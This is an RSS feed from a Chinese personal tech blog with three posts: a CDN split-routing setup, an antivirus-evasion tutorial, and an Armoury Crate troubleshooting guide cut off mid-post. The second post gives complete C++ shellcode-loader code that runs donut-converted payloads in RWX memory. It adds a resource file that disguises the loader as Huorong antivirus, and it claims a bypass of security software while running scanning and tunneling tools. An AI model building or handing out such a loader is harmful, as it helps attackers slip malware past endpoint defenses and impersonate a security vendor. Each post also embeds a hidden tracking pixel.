<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0"><channel><title>/1dreamGN/Blog</title><link>http://gowninng.cn/</link><atom:link href="http://gowninng.cn/rss.xml" rel="self" type="application/rss+xml"/><description>/1dreamGN/Blog</description><generator>Halo v2.25.0</generator><language>zh-cn</language><image><url>http://gowninng.cn/upload/header.png</url><title>/1dreamGN/Blog</title><link>http://gowninng.cn/</link></image><lastBuildDate>Mon, 15 Jun 2026 02:23:46 GMT</lastBuildDate><item><title><![CDATA[国内EdgeOne+国外Cloudflare和ESA智能分流访问]]></title><link>http://gowninng.cn/archives/c1afe8eb-fef3-4145-b21b-57ab8ffbdb60</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=%E5%9B%BD%E5%86%85EdgeOne%2B%E5%9B%BD%E5%A4%96Cloudflare%E5%92%8CESA%E6%99%BA%E8%83%BD%E5%88%86%E6%B5%81%E8%AE%BF%E9%97%AE&amp;url=/archives/c1afe8eb-fef3-4145-b21b-57ab8ffbdb60" width="1" height="1" alt="" style="opacity:0;">
<h2 style="" id="%E5%89%8D%E8%A8%80">前言</h2>
<p style="">最近在给网站做cdn加速，白嫖了腾讯的EdgeOne和阿里的esa，目前就这一个站，这么多cdn都不用的有点浪费了，EdgeOne国内速度很快，esa海外比EdgeOne快，加上Cloudflare直接让网站智能分流，延迟巨降。</p>
<h2 style="" id="%E5%BC%80%E5%A7%8B">开始</h2>
<h3 style="" id="%E5%88%86%E7%BA%BF%E8%B7%AF%E8%A7%A3%E6%9E%90"><span style="font-size: 16px">分线路解析</span></h3>
<p style="">先不管cf，首先先将域名在eo和esa中添加上去，并且在国内dns服务商上面添加cname解析。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F7f815e1b-f16a-4055-a829-cfa7a23694b0.png&amp;size=m" alt="7f815e1b-f16a-4055-a829-cfa7a23694b0.png" width="100%" height="auto" data-position="left">
</figure>
<p style="">eo的cname一定要解析境内，esa和Cloudflare解析默认即可。</p>
<figure data-content-type="image" data-position="center" style="display: flex; flex-direction: column; align-items: center">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F93ddecad-1a7d-4bf0-b5e0-4c9a0fa5d55d.png&amp;size=m" width="100%" height="auto" data-position="center">
</figure>
<p style="">先别开IPv6服务，eo的IPv6服务有点拉跨，回源的时候巨慢无比。</p>
<figure data-content-type="image" data-position="center" style="display: flex; flex-direction: column; align-items: center">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fc057e016-de1f-4e37-8226-583712ab164b.png&amp;size=m" width="1566px" data-position="center">
</figure>
<p style="">esa同理，缓存配置什么的就不多说了，这几家都可以设置规则模版，根据网站类型自己配置即可。</p>
<p style="">接下来就是Cloudflare，和这两家不同，Cloudflare上面有个自定义主机名的功能，首先要先准备两个域名，准备两个域名，一个为主域名，另一个为回源域名，其中主域名就是你要用来对外访问的业务网站，回源域名则必须托管在 Cloudflare 用于回源。</p>
<p style="">先添加回源域名，ns解析该域名，由Cloudflare进行解析托管。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F5a9a5b37-09b4-4a48-9879-180643ced58d.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">添加dns解析，将业务ip使用A记录解析，并开启代理状态。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F825eb556-56df-439b-8542-b0dfc9e932ad.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">然后点击SSL/TLS中的自定义主机名选项，自定义主机名功能要绑定信用卡订阅该功能，该功能有100免费额度，绑定后开通功能，将回退源填写回源域名，自定义主机名填写业务域名，源服务器同样是回源域名。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F2a8a48d7-050c-48f6-bef7-af18201bf654.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">添加后会显示让解析的主机记录，记录类型，记录值，将这些东西添加到dns解析，解析后等待状态更改成有效，将DCV委派也解析了。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fa9ff8cfc-e4c6-4895-b0e8-afe3aaf05ced.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">完成之后创建一个dns解析，解析记录为cname，记录值为Cloudflare的回源域名，线路选择默认即可。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F791276b6-9c88-411e-b683-8dba45f1c553.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">现在使用dig命令测试是否分流成功，分别使用阿里dns、Cloudflare dns和谷歌dns，如下图所示，已经成功分流。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F5ba7d351-f13a-41c4-9833-95646b7615f1-fhUt.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F20c0311e-62ee-4db7-83dd-e23669f4b8d1.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F7a41c5fb-186a-4005-87e1-6acd4d86d67c.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">itdog测试一下延迟，国外节点esa和Cloudflare已经分流，国内使用eo。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F6ee61dc5-5541-4766-81e0-05db3f6641c5.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Ff2cae573-f977-4cd8-bf64-08e2674aa335.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style=""><strong>EO→CF 嵌套</strong></p>
<p style="">将上面已配置的Cloudflare回源域名直接配置到edgeone的业务域名的源站配置上面，因Cloudflare回源域名已经配置ssl，回源协议使用HTTPS。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fd9726b32-fb8f-4625-8860-0559e4177797.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fef14097c-71e6-4221-a7a4-944dab60492b.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">切记关闭Cloudflare的IPv6兼容性，eo<span style="font-size: 14px">回源</span>IPv6太慢，两个cdn的缓存配置要一致。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1e084800-fed6-4fde-b917-41f543b8dde3.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">Cloudflare源站直连效果：</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fc1465d2e-f3d0-4868-be08-490d3a4e0726.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">eo加速效果：</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Ff7e910b8-53b8-458c-af35-15db4ad85336.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">原理：用户→EO 节点→CF 节点→源站，可使用Cloudflare的Worker反代国内不能直连的网站并用edgeone加速。</p>
<h2 style="" id="%E5%BC%8A%E7%AB%AF">弊端</h2>
<p style="">HTTPS到期的续期<strong>可能会</strong>失败。</p>
<p style="">不同 CDN 的 CNAME 分流本身不会直接 “冲突”，但会导致 ACME 验证流量被导向错误节点，从而触发续期失败—— 这才是多 CDN 证书自动续期的核心风险，而非 CNAME 记录本身冲突。</p>
<p style=""><strong>核心逻辑：</strong>CNAME 分流是 “路径错配”，不是 “记录冲突”</p>
<p style=""><strong>CNAME 记录本身不会冲突：</strong>DNS 规范中同一域名只能有 1 条 CNAME（或与 A/AAAA 互斥），多 CDN 分线路解析时（如国内 CNAME 到 EO、国外 CNAME 到 ESA/CF），本质是按地域 / 运营商返回不同 CNAME，DNS 层面无冲突。</p>
<p style=""><strong>真正的风险是验证流量 “跑偏”：</strong>CA（如 Let’s Encrypt）发起 ACME 验证时（HTTP-01/DNS-01），流量可能被分流到非目标 CDN 节点，导致无法返回正确校验值，最终验证失败。</p>
<p style="">所以，最好需要自己做好ssl证书的自动化部署策略。</p>
<h2 style="" id="%E5%85%B6%E4%BB%96">其他</h2>
<p style="">Cloudflare设置浏览器缓存为7天，返回包中却返回一年。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fdc5e6afe-8a17-47e0-b39b-a5dd3cea0462.png&amp;size=m" alt="dc5e6afe-8a17-47e0-b39b-a5dd3cea0462.png" width="100%" height="100%" data-position="left">
</figure>
<pre><code class="language-http">HTTP/1.1 200 OK
Date: Tue, 23 Dec 2025 01:41:58 GMT
Content-Type: text/javascript
Connection: keep-alive
Last-Modified: Mon, 01 Sep 2025 02:29:16 GMT
Cache-Control: max-age=31536000
Speculation-Rules: "/cdn-cgi/speculation"
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=kK6SUOIZhY4GIv8Yjub5t4aSSKq4Prc24MLa%2BOTe3XhVba8DDIM6I0GaYeJ0CmifnclpJ5Znxr1LisL%2FrnOQJW4i%2FeLz2crrH%2BUL"}]}
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
vary: accept-encoding
Age: 6
cf-cache-status: HIT
Server: cloudflare
CF-RAY: 9b2428e0789d5209-DEN
alt-svc: h3=":443"; ma=86400</code></pre>
<p style="">添加规则，根据网站缓存需求添加规则，然后修改响应头Cache-Control的值为想要设定的值。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F06d0ac02-a46d-46fe-8573-122a6c4f7467.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F3977800f-d7df-4535-a79b-a15de1796aa0.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style=""></p>]]></description><guid isPermaLink="false">/archives/c1afe8eb-fef3-4145-b21b-57ab8ffbdb60</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fcf-esa-eo-cdn-s_upscayl_2x_upscayl-standard-4x.png&amp;size=m" type="image/jpeg" length="127084"/><category>网络</category><pubDate>Sun, 21 Dec 2025 10:53:17 GMT</pubDate></item><item><title><![CDATA[一种老生常谈却又很新颖的恶意程序免杀方式]]></title><link>http://gowninng.cn/archives/67ac4532-d0ac-4926-88a7-fb0f0a7e3197</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=%E4%B8%80%E7%A7%8D%E8%80%81%E7%94%9F%E5%B8%B8%E8%B0%88%E5%8D%B4%E5%8F%88%E5%BE%88%E6%96%B0%E9%A2%96%E7%9A%84%E6%81%B6%E6%84%8F%E7%A8%8B%E5%BA%8F%E5%85%8D%E6%9D%80%E6%96%B9%E5%BC%8F&amp;url=/archives/67ac4532-d0ac-4926-88a7-fb0f0a7e3197" width="1" height="1" alt="" style="opacity:0;">
<h2 style="" id="%E5%89%8D%E8%A8%80">前言</h2>
<p style="">起源于群友分享了一个披了火绒的皮的程序加载器，可以加载恶意程序的shellcode到内存中运行从而绕过大部分杀软，就想着也做一个加载器尝试一下。</p>
<h2 style="" id="%E8%BF%87%E7%A8%8B">过程</h2>
<p style="">首先，先让应用程序转换为hex编码，使用donut.exe可将应用程序转换为hex编码并输出到文件中。首先，先将需要转换编码的应用程序转换成hex：</p>
<pre><code class="language-powershell">.\donut.exe -i suo5-gui-windows.exe -o data.hex -f 8 -a 2</code></pre>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fc8d15b74-9d31-46c5-a79c-171c6ed34121.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">文件夹中生成data.hex</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F394bfa74-48eb-4ba7-88d8-eb36d39008fc.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">生成完毕后，写一段用c++编写的加载器代码，直接用AI生成，bug自己再微调下，代码功能主要是读取同目录下data.hex文件并加载hex编码到内存中，如果运行该加载器的时，程序在不带参数运行时直接执行 data.hex 文件中的代码，带参数运行时则将参数传递给 data.hex 文件中的代码执行。</p>
<pre><code class="language-cpp">#include &lt;windows.h&gt;
#include &lt;vector&gt;
#include &lt;string&gt;
#include &lt;iostream&gt;
#include &lt;fstream&gt;
#include &lt;sstream&gt;

// 设置控制台代码页为 UTF-8
void SetConsoleUTF8() {
    SetConsoleOutputCP(CP_UTF8);
    SetConsoleCP(CP_UTF8);
}

// 辅助函数：过滤非 Hex 字符
bool IsHexChar(char c) {
    return (c &gt;= '0' &amp;&amp; c &lt;= '9') || 
           (c &gt;= 'a' &amp;&amp; c &lt;= 'f') || 
           (c &gt;= 'A' &amp;&amp; c &lt;= 'F');
}

// 辅助函数：将单个 hex 字符转换为整数
unsigned char HexCharToByte(char c) {
    if (c &gt;= '0' &amp;&amp; c &lt;= '9') return c - '0';
    if (c &gt;= 'a' &amp;&amp; c &lt;= 'f') return c - 'a' + 10;
    if (c &gt;= 'A' &amp;&amp; c &lt;= 'F') return c - 'A' + 10;
    return 0;
}

// 将 Hex 字符串转换为 Bytes
std::vector&lt;unsigned char&gt; HexToBytes(const std::string&amp; hex) {
    std::vector&lt;unsigned char&gt; bytes;
    std::string cleanHex;
    
    // 预处理：只保留十六进制字符
    for (char c : hex) {
        if (IsHexChar(c)) {
            cleanHex += c;
        }
    }

    if (cleanHex.length() % 2 != 0) {
        std::cerr &lt;&lt; "[!] 错误: Hex 字符串长度不是偶数." &lt;&lt; std::endl;
        return bytes;
    }

    bytes.reserve(cleanHex.length() / 2);
    for (size_t i = 0; i &lt; cleanHex.length(); i += 2) {
        unsigned char high = HexCharToByte(cleanHex[i]);
        unsigned char low = HexCharToByte(cleanHex[i+1]);
        bytes.push_back((high &lt;&lt; 4) | low);
    }

    return bytes;
}

// 从文件加载数据
std::vector&lt;unsigned char&gt; LoadDataFromFile(const std::string&amp; filename) {
    std::ifstream file(filename, std::ios::binary);
    if (!file.is_open()) {
        std::cerr &lt;&lt; "[!] 错误: 无法打开文件 " &lt;&lt; filename &lt;&lt; std::endl;
        return std::vector&lt;unsigned char&gt;();
    }

    // 读取整个文件内容
    std::stringstream buffer;
    buffer &lt;&lt; file.rdbuf();
    std::string content = buffer.str();
    
    file.close();
    
    // 转换为字节向量
    return HexToBytes(content);
}

// 构建命令行参数字符串
std::string BuildCommandLine(int argc, char* argv[]) {
    std::string cmdLine;

    // 跳过程序名，从第一个参数开始
    for (int i = 1; i &lt; argc; i++) {
        if (i &gt; 1) {
            cmdLine += " ";
        }
        cmdLine += argv[i];
    }

    return cmdLine;
}

// 执行内存中的代码
bool ExecuteCode(const std::vector&lt;unsigned char&gt;&amp; codeData, const std::string&amp; arguments) {
    if (codeData.empty()) {
        std::cerr &lt;&lt; "[!] 错误: 空的数据." &lt;&lt; std::endl;
        return false;
    }

    // 分配内存
    void* exec_mem = VirtualAlloc(nullptr, codeData.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!exec_mem) {
        std::cerr &lt;&lt; "[!] 错误: 内存分配失败." &lt;&lt; std::endl;
        return false;
    }

    // 复制数据到分配的内存
    memcpy(exec_mem, codeData.data(), codeData.size());

    // 如果有参数，将其复制到可执行内存附近
    void* arg_mem = nullptr;
    if (!arguments.empty()) {
        size_t argLen = arguments.length() + 1;
        arg_mem = VirtualAlloc(nullptr, argLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (arg_mem) {
            memcpy(arg_mem, arguments.c_str(), argLen);
        }
    }

    std::cout &lt;&lt; "[*] 正在执行代码..." &lt;&lt; std::endl;
    if (!arguments.empty()) {
        std::cout &lt;&lt; "[*] 参数: " &lt;&lt; arguments &lt;&lt; std::endl;
    }

    // 创建线程执行代码
    HANDLE hThread = CreateThread(
        nullptr, 
        0, 
        (LPTHREAD_START_ROUTINE)exec_mem, 
        arg_mem, 
        0, 
        nullptr
    );

    if (!hThread) {
        std::cerr &lt;&lt; "[!] 错误: 创建线程失败." &lt;&lt; std::endl;
        VirtualFree(exec_mem, 0, MEM_RELEASE);
        if (arg_mem) VirtualFree(arg_mem, 0, MEM_RELEASE);
        return false;
    }

    // 等待线程完成
    WaitForSingleObject(hThread, INFINITE);
    
    // 清理
    CloseHandle(hThread);
    VirtualFree(exec_mem, 0, MEM_RELEASE);
    if (arg_mem) VirtualFree(arg_mem, 0, MEM_RELEASE);
    
    return true;
}


int main(int argc, char* argv[]) {
    // 设置控制台编码为 UTF-8
    SetConsoleUTF8();
    
    // 构建命令行参数字符串
    std::string arguments = BuildCommandLine(argc, argv);
    
    std::cout &lt;&lt; "[*] 正在从 data.hex 文件加载数据" &lt;&lt; std::endl;
    
    // 从文件加载数据
    std::vector&lt;unsigned char&gt; codeData = LoadDataFromFile("data.hex");
    if (codeData.empty()) {
        std::cerr &lt;&lt; "[!] 错误: 从文件加载数据失败." &lt;&lt; std::endl;
        return 1;
    }
    
    std::cout &lt;&lt; "[*] 数据加载成功. 大小: " &lt;&lt; codeData.size() &lt;&lt; " 字节." &lt;&lt; std::endl;
    
    // 执行代码
    if (!ExecuteCode(codeData, arguments)) {
        std::cerr &lt;&lt; "[!] 错误: 执行代码失败." &lt;&lt; std::endl;
        return 1;
    }
    
    std::cout &lt;&lt; "[*] 执行完成." &lt;&lt; std::endl;
    return 0;
}</code></pre>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Ff8cd86da-8ed9-4686-921e-22d8307d9cac.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">新建resource.rc文件，在文件中添加火绒的ico图标，并添加火绒的应用信息。</p>
<pre><code class="language-cpp">#include &lt;windows.h&gt;

1 ICON "ScanVirus.ico" // 如果你有火绒的图标，取消注释并将图标文件命名为 huorong.ico 放在同目录下

VS_VERSION_INFO VERSIONINFO
FILEVERSION     5,0,70,8
PRODUCTVERSION  5,0,70,8
FILEFLAGSMASK   0x3fL
#ifdef _DEBUG
FILEFLAGS       0x1L
#else
FILEFLAGS       0x0L
#endif
FILEOS          0x40004L
FILETYPE        0x1L
FILESUBTYPE     0x0L
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "080404b0" // 中文(简体), Unicode
        BEGIN
            VALUE "CompanyName",      "Huorong Security Network Technology Co., Ltd."
            VALUE "FileDescription",  "Huorong Internet Security Daemon"
            VALUE "FileVersion",      "5.0.70.8"
            VALUE "InternalName",     "HipsDaemon"
            VALUE "LegalCopyright",   "Copyright (C) Huorong Security. All rights reserved."
            VALUE "OriginalFilename", "HipsDaemon.exe"
            VALUE "ProductName",      "Huorong Internet Security"
            VALUE "ProductVersion",   "5.0.70.8"
        END
    END
    BLOCK "VarFileInfo"
    BEGIN
        VALUE "Translation", 0x804, 1200
    END
END
</code></pre>
<p style="">使用Visual Studio 2022打开，从现有代码创建项目，查看会否有问题，没问题可直接编译。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F53a26af2-92ce-40bc-a61b-bb58083aaf92.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">在编译的过程中可能会产生各种各样的报错，可以将报错扔给AI解决，主要是vs配置的问题。</p>
<p style="">生成项目，将项目重命名为火绒杀毒。把data.hex拉到同级目录运行测试下。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Ffe97cb25-2fee-485e-92b7-cc9633b7637c.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">先看看应用属性。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F0bdd8e96-84e6-4bfe-b56c-761e67462bd7.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">打开cmd，运行exe。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fbbc2f3ad-21c0-4745-84e8-68b64428089b.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">进程为Huorong Internet Security Daemon下的Suo5。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fb8f876dd-5661-4044-b1e5-dd00fab09c84.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">试试fscan，给加载器传参数 -h 127.0.0.1，下面的杀软没问题。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F3433b735-f872-41d5-bf7b-acc8e488a252.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F5d66c7a9-394f-478b-b144-5cee1cb128b3.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F90185f204496d44abe70e0a1368db225.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fe0572307cc6172d9dfddee85ef083491.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<h2 style="" id="%E6%9C%80%E5%90%8E">最后</h2>
<p style="">很类似cs分离免杀的绕过方式，老生常谈却又很新颖。</p>]]></description><guid isPermaLink="false">/archives/67ac4532-d0ac-4926-88a7-fb0f0a7e3197</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F85F8E7F14704CB9689E7351D0B6638E2.png&amp;size=m" type="image/jpeg" length="471810"/><category>网络安全</category><pubDate>Wed, 3 Dec 2025 07:14:20 GMT</pubDate></item><item><title><![CDATA[Armoury Crate or Ghelper? Of course fxxk ROG!]]></title><link>http://gowninng.cn/archives/armoury-crate-of-course-shit</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=Armoury%20Crate%20or%20Ghelper%3F%20Of%20course%20fxxk%20ROG%21&amp;url=/archives/armoury-crate-of-course-shit" width="1" height="1" alt="" style="opacity:0;">
<h2 style="" id="%E5%89%8D%E8%A8%80">前言</h2>
<p style="">作为之前拥有ROG全家桶的用户，之前对奥创还挺有好感，主要是可以联动外设什么的，界面还挺炫酷，但是在21年后就卖了，没用多长时间今年购买了幻14air，这奥创中心越来越不好用，各种bug，包括神光同步失效、设备设置缺失功能、更新驱动卡死等，这不是最操蛋的，最操蛋的是一直在自动更新，把应用商店自动更新关了，过一段时间就会莫名其妙的打开，然后奥创就自动更新了，更新就更新吧，还一大堆问题，ROG Live Service一直启动不了，uwp功能缺失等。在网上搜索，发现很多人都有这种情况，更新后出现很多问题，特别是501代码报错。问了官方工程师试了各种方法也没啥用。</p>
<p style="">记录下我与奥创中心的对抗过程，稳定在6.2版本保持各项功能正常使用。</p>
<h2 style="" id="%E8%BF%87%E7%A8%8B">过程</h2>
<p style="">一般大部分用户升级6.3版本的时候会出现501部分服务不可用，元凶就是ROG Live Service，一直重启但是启动不了，不知道是什么原因，当前最新版本是3.3.12.0。奥创官网下载地址 <a href="https://www.asus.com.cn/supportonly/armoury%20crate/helpdesk_download/" target="_blank" rel="">Armoury Crate - 服务支持</a> 中Armoury Crate 完整安装包版本为Version 6.2.11，先下载这个完整包，然后再下载奥创卸载工具，先使用卸载工具将当前电脑上有问题的奥创卸载，如果无法卸载，下载GEEK卸载工具将以下两个程序先卸载：</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fc63de34e-588b-468b-bf04-0498dcdca5c4.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">卸载后，找到C:\Program Files\ASUS 和 C:\Program Files (x86)\ASUS 文件夹删除，如果出现占用就先用火绒或者电脑管家解除文件占用：</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F0096fd0d-62f3-4a20-be40-cfed5467f2ee.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fcc1597b9-cb36-4953-b11c-42c274925b40.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">删完之后重启，重启后就可以安装完整包的奥创了。</p>
<p style="">装完离线版的奥创之后，随后运行 regedit 打开注册表，在计算机\HKEY_LOCAL_MACHINE\SOFTWARE\ASUS\ROG Live Service、计算机\HKEY_LOCAL_MACHINE\SOFTWARE\ASUS\ROGLiveServicePackage、计算机\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\ASUS\ROG Live Service 三个地方修改其中的 Version 版本号为 3.3.12.0 来临时绕过：</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fa0dabc03-2291-4d79-af0c-918c1af56fd1.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
